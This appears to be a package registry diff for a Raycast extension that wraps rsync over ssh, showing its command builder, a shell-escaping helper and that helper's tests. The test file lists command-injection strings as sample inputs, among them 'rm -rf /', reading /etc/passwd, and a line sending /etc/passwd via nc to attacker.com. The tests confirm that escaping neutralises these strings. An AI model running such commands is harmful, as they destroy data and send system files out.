raycast-rsync-extension 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (49) hide show
  1. package/.eslintrc.js +18 -0
  2. package/.github/PULL_REQUEST_TEMPLATE.md +14 -0
  3. package/.github/dependabot.yml +35 -0
  4. package/.github/workflows/ci.yml +105 -0
  5. package/.github/workflows/publish.yml +269 -0
  6. package/.github/workflows/update-copyright-year.yml +70 -0
  7. package/CHANGELOG.md +7 -0
  8. package/LICENSE +21 -0
  9. package/README.md +81 -0
  10. package/assets/icon.png +0 -0
  11. package/eslint.config.js +23 -0
  12. package/metadata/browse-remote-path.png +0 -0
  13. package/metadata/browse-remote.png +0 -0
  14. package/metadata/download-local-path.png +0 -0
  15. package/metadata/download-remote-path.png +0 -0
  16. package/metadata/extension.png +0 -0
  17. package/metadata/upload-local-path.png +0 -0
  18. package/metadata/upload-remote-path.png +0 -0
  19. package/metadata/upload-search-host.png +0 -0
  20. package/package.json +93 -0
  21. package/src/__mocks__/raycast-api.ts +84 -0
  22. package/src/browse.tsx +378 -0
  23. package/src/components/FileList.test.tsx +73 -0
  24. package/src/components/FileList.tsx +61 -0
  25. package/src/download.tsx +353 -0
  26. package/src/e2e/browse.e2e.test.ts +295 -0
  27. package/src/e2e/download.e2e.test.ts +193 -0
  28. package/src/e2e/error-handling.e2e.test.ts +292 -0
  29. package/src/e2e/rsync-options.e2e.test.ts +348 -0
  30. package/src/e2e/upload.e2e.test.ts +207 -0
  31. package/src/index.tsx +21 -0
  32. package/src/test-setup.ts +1 -0
  33. package/src/types/server.ts +60 -0
  34. package/src/upload.tsx +404 -0
  35. package/src/utils/__tests__/sshConfig.test.ts +352 -0
  36. package/src/utils/__tests__/validation.test.ts +139 -0
  37. package/src/utils/preferences.ts +24 -0
  38. package/src/utils/rsync.test.ts +490 -0
  39. package/src/utils/rsync.ts +517 -0
  40. package/src/utils/shellEscape.test.ts +98 -0
  41. package/src/utils/shellEscape.ts +36 -0
  42. package/src/utils/ssh.test.ts +209 -0
  43. package/src/utils/ssh.ts +187 -0
  44. package/src/utils/sshConfig.test.ts +191 -0
  45. package/src/utils/sshConfig.ts +212 -0
  46. package/src/utils/validation.test.ts +224 -0
  47. package/src/utils/validation.ts +115 -0
  48. package/tsconfig.json +27 -0
  49. package/vitest.config.ts +8 -0
@@ -0,0 +1,517 @@
1
+ import { exec } from "child_process";
2
+ import { spawn } from "child_process";
3
+ import { promisify } from "util";
4
+ import { homedir } from "os";
5
+ import { join } from "path";
6
+ import { statSync } from "fs";
7
+ import {
8
+ TransferOptions,
9
+ TransferDirection,
10
+ RsyncResult,
11
+ RsyncOptions,
12
+ } from "../types/server";
13
+ import { shellEscape } from "./shellEscape";
14
+
15
+ const execAsync = promisify(exec);
16
+
17
+ /**
18
+ * Builds rsync flags string from options
19
+ * @param options - Rsync options
20
+ * @returns String of rsync flags
21
+ */
22
+ function buildRsyncFlags(options?: RsyncOptions): string {
23
+ const shortFlags: string[] = ["a", "v", "z"]; // Base flags: archive, verbose, compress
24
+
25
+ if (options?.humanReadable) {
26
+ shortFlags.push("h"); // Human-readable file sizes
27
+ }
28
+
29
+ if (options?.progress) {
30
+ shortFlags.push("P"); // Progress and partial transfers (equivalent to --partial --progress)
31
+ }
32
+
33
+ // Combine short flags into a single -flag string
34
+ const flags = `-${shortFlags.join("")}`;
35
+
36
+ // Add long-form flags
37
+ const longFlags: string[] = [];
38
+ if (options?.delete) {
39
+ longFlags.push("--delete"); // Delete extraneous files from destination
40
+ }
41
+
42
+ return longFlags.length > 0 ? `${flags} ${longFlags.join(" ")}` : flags;
43
+ }
44
+
45
+ /**
46
+ * Expands tilde (~) to home directory path
47
+ * @param path - The path that may contain ~
48
+ * @returns Path with ~ expanded to home directory
49
+ */
50
+ function expandHomeDir(path: string): string {
51
+ if (path.startsWith("~/")) {
52
+ return join(homedir(), path.slice(2));
53
+ }
54
+ if (path === "~") {
55
+ return homedir();
56
+ }
57
+ return path;
58
+ }
59
+
60
+ /**
61
+ * Normalizes a path by removing trailing slash
62
+ * @param path - The path to normalize
63
+ * @returns Path without trailing slash
64
+ */
65
+ function removeTrailingSlash(path: string): string {
66
+ return path.endsWith("/") && path !== "/" ? path.slice(0, -1) : path;
67
+ }
68
+
69
+ /**
70
+ * Normalizes a destination path by ensuring it ends with a trailing slash
71
+ * This ensures rsync creates the source directory inside the destination
72
+ * @param path - The destination path to normalize
73
+ * @returns Path with trailing slash
74
+ */
75
+ function ensureTrailingSlash(path: string): string {
76
+ return path.endsWith("/") ? path : `${path}/`;
77
+ }
78
+
79
+ /**
80
+ * Normalizes paths for rsync to ensure directories are copied as directories
81
+ * For upload: if localPath is a directory, remove trailing slash from source and add to destination
82
+ * For download: add trailing slash to localPath destination to ensure remote directory is created inside
83
+ * @param options - Transfer options
84
+ * @returns Normalized paths
85
+ */
86
+ function normalizePathsForRsync(options: TransferOptions): {
87
+ normalizedLocalPath: string;
88
+ normalizedRemotePath: string;
89
+ } {
90
+ const { localPath, remotePath, direction } = options;
91
+
92
+ // Expand ~ in local paths (for both upload and download)
93
+ const expandedLocalPath = expandHomeDir(localPath);
94
+
95
+ if (direction === TransferDirection.UPLOAD) {
96
+ // For upload, check if localPath is a directory
97
+ try {
98
+ const stats = statSync(expandedLocalPath);
99
+ if (stats.isDirectory()) {
100
+ // Source directory: remove trailing slash (if present) to copy directory itself
101
+ // Destination: ensure trailing slash to create source directory inside destination
102
+ return {
103
+ normalizedLocalPath: removeTrailingSlash(expandedLocalPath),
104
+ normalizedRemotePath: ensureTrailingSlash(remotePath),
105
+ };
106
+ }
107
+ } catch (error) {
108
+ // If we can't stat the path, proceed with original paths
109
+ // This could happen if the path doesn't exist yet (shouldn't happen after validation)
110
+ console.warn("Could not stat local path, using original paths:", error);
111
+ }
112
+ // For files, use paths as-is (but with ~ expanded)
113
+ return {
114
+ normalizedLocalPath: expandedLocalPath,
115
+ normalizedRemotePath: remotePath,
116
+ };
117
+ } else {
118
+ // For download, we can't check if remotePath is a directory without SSH access
119
+ // But we can ensure the local destination has a trailing slash
120
+ // This will make rsync create the remote directory inside the local destination
121
+ // Remove trailing slash from remote path (if present) to copy directory itself
122
+ // Add trailing slash to local path to ensure remote directory is created inside
123
+ return {
124
+ normalizedLocalPath: ensureTrailingSlash(expandedLocalPath),
125
+ normalizedRemotePath: removeTrailingSlash(remotePath),
126
+ };
127
+ }
128
+ }
129
+
130
+ /**
131
+ * Builds an rsync command string based on transfer options
132
+ * @param options - Transfer options including direction, paths, and host config
133
+ * @returns The constructed rsync command string
134
+ */
135
+ export function buildRsyncCommand(options: TransferOptions): string {
136
+ const { hostConfig, direction, rsyncOptions } = options;
137
+ const configPath = join(homedir(), ".ssh", "config");
138
+ const hostAlias = hostConfig.host;
139
+
140
+ // Normalize paths to ensure directories are copied as directories
141
+ const { normalizedLocalPath, normalizedRemotePath } =
142
+ normalizePathsForRsync(options);
143
+
144
+ // Build rsync flags
145
+ const flags = buildRsyncFlags(rsyncOptions);
146
+
147
+ // Escape all user-provided inputs to prevent command injection
148
+ const escapedLocalPath = shellEscape(normalizedLocalPath);
149
+ const escapedRemotePath = shellEscape(normalizedRemotePath);
150
+ const escapedHostAlias = shellEscape(hostAlias);
151
+
152
+ // Escape the SSH command for the -e flag
153
+ // configPath comes from homedir() so it's safe, but we escape the whole command for consistency
154
+ const escapedSshCommand = shellEscape(`ssh -F ${configPath}`);
155
+
156
+ // Base command with SSH config
157
+ // -e: specify SSH command with config file
158
+ const baseCommand = `rsync -e ${escapedSshCommand} ${flags}`;
159
+
160
+ if (direction === TransferDirection.UPLOAD) {
161
+ // Upload: rsync -e "ssh -F ~/.ssh/config" [flags] {localPath} {hostAlias}:{remotePath}
162
+ // Escape all user-provided paths to prevent command injection
163
+ return `${baseCommand} ${escapedLocalPath} ${escapedHostAlias}:${escapedRemotePath}`;
164
+ } else {
165
+ // Download: rsync -e "ssh -F ~/.ssh/config" [flags] {hostAlias}:{remotePath} {localPath}
166
+ // Escape all user-provided paths to prevent command injection
167
+ return `${baseCommand} ${escapedHostAlias}:${escapedRemotePath} ${escapedLocalPath}`;
168
+ }
169
+ }
170
+
171
+ /**
172
+ * Parse error output to provide user-friendly error messages
173
+ * @param error - The error object from exec
174
+ * @returns User-friendly error message
175
+ */
176
+ function parseRsyncError(error: {
177
+ stderr?: string;
178
+ message?: string;
179
+ killed?: boolean;
180
+ signal?: string;
181
+ code?: number;
182
+ }): string {
183
+ const stderr = error.stderr || "";
184
+ const message = error.message || "";
185
+ const combinedError = `${stderr} ${message}`.toLowerCase();
186
+
187
+ // Log detailed error for debugging
188
+ console.error("Rsync Error Details:", {
189
+ code: error.code,
190
+ signal: error.signal,
191
+ stderr: error.stderr,
192
+ message: error.message,
193
+ });
194
+
195
+ // Connection timeout
196
+ if (error.killed && error.signal === "SIGTERM") {
197
+ return "Connection timed out after 5 minutes. The server may be unreachable or the transfer is taking too long.";
198
+ }
199
+
200
+ // Authentication failures
201
+ if (
202
+ combinedError.includes("permission denied") &&
203
+ combinedError.includes("publickey")
204
+ ) {
205
+ return "Authentication failed: SSH key not accepted. Check your SSH key configuration.";
206
+ }
207
+ if (combinedError.includes("permission denied")) {
208
+ return "Authentication failed: Permission denied. Check your credentials and SSH configuration.";
209
+ }
210
+ if (combinedError.includes("host key verification failed")) {
211
+ return "Host key verification failed. You may need to add the host to your known_hosts file.";
212
+ }
213
+ if (combinedError.includes("no such identity")) {
214
+ return "SSH key file not found. Check the IdentityFile path in your SSH config.";
215
+ }
216
+
217
+ // Connection issues
218
+ if (combinedError.includes("connection refused")) {
219
+ return "Connection refused: The server is not accepting connections on the specified port.";
220
+ }
221
+ if (
222
+ combinedError.includes("connection timed out") ||
223
+ combinedError.includes("operation timed out")
224
+ ) {
225
+ return "Connection timed out: Unable to reach the server. Check your network connection and server address.";
226
+ }
227
+ if (combinedError.includes("no route to host")) {
228
+ return "No route to host: The server address is unreachable. Check the hostname or IP address.";
229
+ }
230
+ if (combinedError.includes("could not resolve hostname")) {
231
+ return "Could not resolve hostname: The server address is invalid or DNS lookup failed.";
232
+ }
233
+ if (combinedError.includes("network is unreachable")) {
234
+ return "Network is unreachable: Check your internet connection.";
235
+ }
236
+
237
+ // File/directory issues
238
+ if (combinedError.includes("no such file or directory")) {
239
+ return "File not found: The specified file or directory does not exist on the remote server.";
240
+ }
241
+ if (combinedError.includes("is a directory")) {
242
+ return "Target is a directory: Use a directory path or ensure the path ends with a slash.";
243
+ }
244
+ if (combinedError.includes("not a directory")) {
245
+ return "Target is not a directory: The destination path must be a directory.";
246
+ }
247
+ if (
248
+ combinedError.includes("permission denied") &&
249
+ !combinedError.includes("publickey")
250
+ ) {
251
+ return "Permission denied: You do not have permission to access the file or directory on the remote server.";
252
+ }
253
+
254
+ // Disk space issues
255
+ if (combinedError.includes("no space left on device")) {
256
+ return "No space left on device: The destination has insufficient disk space.";
257
+ }
258
+ if (combinedError.includes("disk quota exceeded")) {
259
+ return "Disk quota exceeded: You have exceeded your disk quota on the remote server.";
260
+ }
261
+
262
+ // Generic fallback with sanitized message
263
+ const sanitizedMessage = stderr || message || "Unknown error occurred";
264
+ return `Transfer failed: ${sanitizedMessage}`;
265
+ }
266
+
267
+ /**
268
+ * Parses rsync progress line to extract progress information
269
+ * @param line - Progress line from rsync output
270
+ * @returns Formatted progress message or null
271
+ */
272
+ function parseProgressLine(line: string): string | null {
273
+ // rsync -P output format: " 1,234,567 67% 123.45kB/s 0:00:05"
274
+ // or: "file.txt\n 1,234,567 67% 123.45kB/s 0:00:05"
275
+ const progressMatch = line.match(
276
+ /(\d{1,3}(?:,\d{3})*)\s+(\d+)%\s+([\d.]+[KMGT]?B\/s)\s+(\d+:\d{2}:\d{2})/,
277
+ );
278
+
279
+ if (progressMatch) {
280
+ const [, , percent, speed, time] = progressMatch;
281
+ return `${percent}% • ${speed} • ${time} remaining`;
282
+ }
283
+
284
+ // Look for summary lines with speedup
285
+ if (line.includes("speedup")) {
286
+ return line.trim();
287
+ }
288
+
289
+ return null;
290
+ }
291
+
292
+ /**
293
+ * Executes an rsync command and returns the result
294
+ * @param options - Transfer options including direction, paths, and host config
295
+ * @param onProgress - Optional callback function to receive real-time progress updates
296
+ * @returns Promise resolving to RsyncResult with success status and message
297
+ */
298
+ export async function executeRsync(
299
+ options: TransferOptions,
300
+ onProgress?: (message: string) => void,
301
+ ): Promise<RsyncResult> {
302
+ const command = buildRsyncCommand(options);
303
+ const isProgressEnabled = options.rsyncOptions?.progress;
304
+
305
+ // If progress is enabled and callback provided, use spawn for real-time updates
306
+ if (isProgressEnabled && onProgress) {
307
+ return executeRsyncWithProgress(options, onProgress);
308
+ }
309
+
310
+ // Otherwise use exec for simpler execution
311
+ try {
312
+ // Execute with 5 minute timeout (300000 ms)
313
+ const { stdout, stderr } = await execAsync(command, {
314
+ timeout: 300000,
315
+ });
316
+
317
+ // Success if no error thrown
318
+ // Format output message to show key information
319
+ let outputMessage = "Transfer completed successfully";
320
+
321
+ if (stdout) {
322
+ const lines = stdout.trim().split("\n");
323
+
324
+ // Extract summary line (usually the last line with total stats)
325
+ const summaryLine = lines[lines.length - 1];
326
+
327
+ // If using -P (progress), look for progress lines
328
+ const progressLines = lines.filter(
329
+ (line) =>
330
+ line.includes("%") ||
331
+ line.includes("speedup") ||
332
+ line.includes("sent"),
333
+ );
334
+
335
+ // If using -h (human-readable), look for file size info
336
+ const fileInfoLines = lines.filter(
337
+ (line) =>
338
+ line.match(/\d+[KMGT]?B/) || // Matches sizes like 1.5M, 500K, etc.
339
+ line.includes("files") ||
340
+ line.includes("bytes"),
341
+ );
342
+
343
+ // Prioritize showing summary or progress info
344
+ if (
345
+ summaryLine &&
346
+ (summaryLine.includes("total") || summaryLine.includes("speedup"))
347
+ ) {
348
+ outputMessage = summaryLine;
349
+ } else if (progressLines.length > 0) {
350
+ outputMessage = progressLines[progressLines.length - 1];
351
+ } else if (fileInfoLines.length > 0) {
352
+ outputMessage = fileInfoLines[fileInfoLines.length - 1];
353
+ } else if (lines.length > 0) {
354
+ // Show last few lines if no specific format found
355
+ outputMessage = lines.slice(-2).join("\n");
356
+ }
357
+ }
358
+
359
+ return {
360
+ success: true,
361
+ message: outputMessage,
362
+ stdout: stdout || undefined,
363
+ stderr: stderr || undefined,
364
+ };
365
+ } catch (error) {
366
+ const errorObj = error as {
367
+ stdout?: string;
368
+ stderr?: string;
369
+ message?: string;
370
+ killed?: boolean;
371
+ signal?: string;
372
+ code?: number;
373
+ };
374
+
375
+ // Parse error and provide user-friendly message
376
+ const userMessage = parseRsyncError(errorObj);
377
+
378
+ // Include stdout if available (rsync might output useful info even on error)
379
+ const outputMessage = errorObj.stdout
380
+ ? `${userMessage}\n\nOutput: ${errorObj.stdout.split("\n").slice(-2).join("\n")}`
381
+ : userMessage;
382
+
383
+ return {
384
+ success: false,
385
+ message: outputMessage,
386
+ stdout: errorObj.stdout || undefined,
387
+ stderr: errorObj.stderr || undefined,
388
+ };
389
+ }
390
+ }
391
+
392
+ /**
393
+ * Executes rsync with real-time progress updates using spawn
394
+ * @param options - Transfer options
395
+ * @param onProgress - Callback function to receive progress updates
396
+ * @returns Promise resolving to RsyncResult
397
+ */
398
+ async function executeRsyncWithProgress(
399
+ options: TransferOptions,
400
+ onProgress: (message: string) => void,
401
+ ): Promise<RsyncResult> {
402
+ // Use the full command string with shell for proper SSH handling
403
+ const fullCommand = buildRsyncCommand(options);
404
+
405
+ return new Promise((resolve) => {
406
+ const stdoutChunks: Buffer[] = [];
407
+ const stderrChunks: Buffer[] = [];
408
+ let lastProgressUpdate = Date.now();
409
+ const progressUpdateInterval = 500; // Update every 500ms to avoid too frequent updates
410
+
411
+ const rsyncProcess = spawn(fullCommand, {
412
+ shell: true,
413
+ });
414
+
415
+ // Set timeout
416
+ const timeout = setTimeout(() => {
417
+ rsyncProcess.kill("SIGTERM");
418
+ resolve({
419
+ success: false,
420
+ message: "Transfer timed out after 5 minutes",
421
+ stdout: Buffer.concat(stdoutChunks as readonly Uint8Array[]).toString(),
422
+ stderr: Buffer.concat(stderrChunks as readonly Uint8Array[]).toString(),
423
+ });
424
+ }, 300000); // 5 minutes
425
+
426
+ rsyncProcess.stdout.on("data", (data: Buffer) => {
427
+ stdoutChunks.push(data);
428
+ const output = data.toString();
429
+ const lines = output.split("\n");
430
+
431
+ // Parse and update progress
432
+ for (const line of lines) {
433
+ const progressMessage = parseProgressLine(line);
434
+ if (progressMessage) {
435
+ const now = Date.now();
436
+ // Throttle progress updates
437
+ if (now - lastProgressUpdate >= progressUpdateInterval) {
438
+ onProgress(progressMessage);
439
+ lastProgressUpdate = now;
440
+ }
441
+ }
442
+ }
443
+ });
444
+
445
+ rsyncProcess.stderr.on("data", (data: Buffer) => {
446
+ stderrChunks.push(data);
447
+ });
448
+
449
+ rsyncProcess.on("close", (code) => {
450
+ clearTimeout(timeout);
451
+ const stdout = Buffer.concat(
452
+ stdoutChunks as readonly Uint8Array[],
453
+ ).toString();
454
+ const stderr = Buffer.concat(
455
+ stderrChunks as readonly Uint8Array[],
456
+ ).toString();
457
+
458
+ if (code === 0) {
459
+ // Format output message
460
+ let outputMessage = "Transfer completed successfully";
461
+
462
+ if (stdout) {
463
+ const lines = stdout.trim().split("\n");
464
+ const summaryLine = lines[lines.length - 1];
465
+
466
+ if (
467
+ summaryLine &&
468
+ (summaryLine.includes("total") || summaryLine.includes("speedup"))
469
+ ) {
470
+ outputMessage = summaryLine;
471
+ } else if (lines.length > 0) {
472
+ outputMessage = lines.slice(-2).join("\n");
473
+ }
474
+ }
475
+
476
+ resolve({
477
+ success: true,
478
+ message: outputMessage,
479
+ stdout: stdout || undefined,
480
+ stderr: stderr || undefined,
481
+ });
482
+ } else {
483
+ const userMessage = parseRsyncError({
484
+ stderr,
485
+ message: `Process exited with code ${code}`,
486
+ code: code ?? undefined,
487
+ });
488
+
489
+ resolve({
490
+ success: false,
491
+ message: userMessage,
492
+ stdout: stdout || undefined,
493
+ stderr: stderr || undefined,
494
+ });
495
+ }
496
+ });
497
+
498
+ rsyncProcess.on("error", (error) => {
499
+ clearTimeout(timeout);
500
+ const userMessage = parseRsyncError({
501
+ stderr: error.message,
502
+ message: error.message,
503
+ });
504
+
505
+ resolve({
506
+ success: false,
507
+ message: userMessage,
508
+ stdout:
509
+ Buffer.concat(stdoutChunks as readonly Uint8Array[]).toString() ||
510
+ undefined,
511
+ stderr:
512
+ Buffer.concat(stderrChunks as readonly Uint8Array[]).toString() ||
513
+ undefined,
514
+ });
515
+ });
516
+ });
517
+ }
@@ -0,0 +1,98 @@
1
+ import { describe, it, expect } from "vitest";
2
+ import { shellEscape, shellEscapeArgs } from "./shellEscape";
3
+
4
+ describe("shellEscape", () => {
5
+ it("should escape simple strings", () => {
6
+ expect(shellEscape("file.txt")).toBe("'file.txt'");
7
+ expect(shellEscape("/path/to/file")).toBe("'/path/to/file'");
8
+ });
9
+
10
+ it("should escape strings with spaces", () => {
11
+ expect(shellEscape("file name.txt")).toBe("'file name.txt'");
12
+ expect(shellEscape("/path with spaces/file")).toBe(
13
+ "'/path with spaces/file'",
14
+ );
15
+ });
16
+
17
+ it("should escape strings with single quotes", () => {
18
+ expect(shellEscape("file'name.txt")).toBe("'file'\\''name.txt'");
19
+ expect(shellEscape("path'with'quotes")).toBe("'path'\\''with'\\''quotes'");
20
+ });
21
+
22
+ it("should escape shell metacharacters to prevent injection", () => {
23
+ // Semicolon - command separator
24
+ expect(shellEscape("file; rm -rf /")).toBe("'file; rm -rf /'");
25
+
26
+ // Pipe - command chaining
27
+ expect(shellEscape("file | cat")).toBe("'file | cat'");
28
+
29
+ // Ampersand - background execution
30
+ expect(shellEscape("file & echo done")).toBe("'file & echo done'");
31
+
32
+ // Dollar sign - variable expansion
33
+ expect(shellEscape("file$HOME")).toBe("'file$HOME'");
34
+
35
+ // Backtick - command substitution
36
+ expect(shellEscape("file`whoami`")).toBe("'file`whoami`'");
37
+
38
+ // Parentheses - command grouping
39
+ expect(shellEscape("file(test)")).toBe("'file(test)'");
40
+
41
+ // Redirection
42
+ expect(shellEscape("file > output")).toBe("'file > output'");
43
+ expect(shellEscape("file < input")).toBe("'file < input'");
44
+
45
+ // Multiple metacharacters
46
+ expect(shellEscape("file; rm -rf / | cat &")).toBe(
47
+ "'file; rm -rf / | cat &'",
48
+ );
49
+ });
50
+
51
+ it("should escape empty string", () => {
52
+ expect(shellEscape("")).toBe("''");
53
+ });
54
+
55
+ it("should handle complex injection attempts", () => {
56
+ const maliciousPaths = [
57
+ "/tmp/test; rm -rf /",
58
+ "/tmp/test | cat /etc/passwd",
59
+ "/tmp/test && echo pwned",
60
+ "/tmp/test || echo pwned",
61
+ "/tmp/test`id`",
62
+ "/tmp/test$(whoami)",
63
+ "/tmp/test; cat /etc/passwd | nc attacker.com 1234",
64
+ ];
65
+
66
+ for (const path of maliciousPaths) {
67
+ const escaped = shellEscape(path);
68
+ // All should be wrapped in single quotes
69
+ expect(escaped).toMatch(/^'.*'$/);
70
+ // The original content should be preserved (not executed)
71
+ expect(escaped).toContain(path);
72
+ }
73
+ });
74
+ });
75
+
76
+ describe("shellEscapeArgs", () => {
77
+ it("should escape and join multiple arguments", () => {
78
+ expect(shellEscapeArgs(["file1.txt", "file2.txt"])).toBe(
79
+ "'file1.txt' 'file2.txt'",
80
+ );
81
+ });
82
+
83
+ it("should handle arguments with spaces", () => {
84
+ expect(shellEscapeArgs(["file name.txt", "another file.txt"])).toBe(
85
+ "'file name.txt' 'another file.txt'",
86
+ );
87
+ });
88
+
89
+ it("should handle arguments with metacharacters", () => {
90
+ expect(shellEscapeArgs(["file; rm", "file|cat"])).toBe(
91
+ "'file; rm' 'file|cat'",
92
+ );
93
+ });
94
+
95
+ it("should handle empty array", () => {
96
+ expect(shellEscapeArgs([])).toBe("");
97
+ });
98
+ });
@@ -0,0 +1,36 @@
1
+ /**
2
+ * Shell escaping utilities to prevent command injection vulnerabilities
3
+ */
4
+
5
+ /**
6
+ * Escapes a string for safe use in shell commands
7
+ * Wraps the string in single quotes and escapes any single quotes within it
8
+ * This is the safest method for POSIX shells (sh, bash, zsh)
9
+ *
10
+ * @param str - The string to escape
11
+ * @returns The escaped string safe for use in shell commands
12
+ *
13
+ * @example
14
+ * shellEscape("file.txt") => "'file.txt'"
15
+ * shellEscape("file'name.txt") => "'file'\\''name.txt'"
16
+ * shellEscape("path; rm -rf /") => "'path; rm -rf /'"
17
+ */
18
+ export function shellEscape(str: string): string {
19
+ // Replace single quotes with: '\'' (end quote, escaped quote, start quote)
20
+ // This works because: 'string' becomes 'string'\''more' which the shell interprets as 'string'more'
21
+ return `'${str.replace(/'/g, "'\\''")}'`;
22
+ }
23
+
24
+ /**
25
+ * Escapes multiple strings and joins them with spaces
26
+ * Useful for escaping command arguments
27
+ *
28
+ * @param args - Array of strings to escape
29
+ * @returns Space-separated escaped strings
30
+ *
31
+ * @example
32
+ * shellEscapeArgs(["file.txt", "path with spaces"]) => "'file.txt' 'path with spaces'"
33
+ */
34
+ export function shellEscapeArgs(args: string[]): string {
35
+ return args.map(shellEscape).join(" ");
36
+ }